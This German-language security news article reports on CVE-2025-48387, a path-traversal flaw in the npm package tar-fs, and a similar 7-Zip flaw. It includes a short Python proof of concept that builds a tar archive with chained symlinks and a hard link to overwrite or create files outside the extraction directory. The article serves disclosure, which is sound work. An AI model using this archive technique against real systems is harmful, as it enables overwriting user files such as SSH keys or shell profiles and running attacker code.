Im NPM-Paket tar-fs wurde eine Sicherheitsanfälligkeit (CVE-2025-48387) festgestellt, die es ermöglicht, beim Entpacken eines speziell gestalteten tar-Archivs Dateien an beliebigen Orten im Dateisystem zu schreiben, die nicht durch das Verzeichnis eingeschränkt sind, in das das Entpacken erfolgt (sofern die Zugriffsrechte des aktuellen Benutzers dies zulassen). Diese Sicherheitsanfälligkeit kann auch verwendet werden, um bestehende Dateien zu überschreiben; beispielsweise könnten Dateien wie „.ssh/id_rsa“ oder „.bashrc“ im Benutzerverzeichnis überschrieben werden, um die Ausführung eigenen Codes im System zu ermöglichen.
Der Problematik wurde ein kritisches Gefahrenniveau zugewiesen, da das Paket tar-fs 23 Millionen Downloads pro Woche hat und als Abhängigkeit in 1155 Projekten verwendet wird. Die Sicherheitsanfälligkeit wurde in den Versionen 3.0.9, 2.1.3 und 1.16.5 behoben, die im Mai veröffentlicht wurden, aber die Informationen über die Sicherheitsanfälligkeit wurden erst fast 3 Monate später bekannt gegeben.
Die Schwachstelle resultiert aus unzureichenden Überprüfungen der im Archiv enthaltenen symbolischen und harten Links, um sicherzustellen, dass sie nicht über das Zielverzeichnis für die Entpackung hinausgehen. Zwei symbolische Links werden verwendet, um die Überprüfungen zu umgehen: Der erste verweist auf das Stammverzeichnis des entpackten Archivs ("."), und der zweite wird relativ zum ersten symbolischen Link erstellt und verwendet die Zeichen "../" im Namen, um über das Basisverzeichnis hinauszulangen. Zum Beispiel verweist der erste Link „noop/noop/noop“ auf „.“, während der zweite „noop/noop/noop/../../../“ sich als „./../../../“ auflöst. Um die Überschreibung von Dateien im Archiv zu organisieren, kann ein harter Link erstellt werden, der relativ zum zweiten symbolischen Link auf eine externe Datei verweist. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))
Eine ähnliche Schwachstelle (CVE-2025-55188) wurde im Archivierungsprogramm 7-Zip entdeckt. Symbolische Links mit der Sequenz „../“ im Dateipfad können ebenfalls verwendet werden, um Dateien außerhalb des Basisverzeichnisses in 7-Zip zu schreiben. Diese Problematik kann beim Entpacken von beliebigen Archiven, die symbolische Links unterstützen, mit 7-Zip ausgenutzt werden, zum Beispiel zip, tar, 7z und rar. Das Problem wurde in der Version 7-Zip 25.01 behoben.
Quelle: opennet.ru
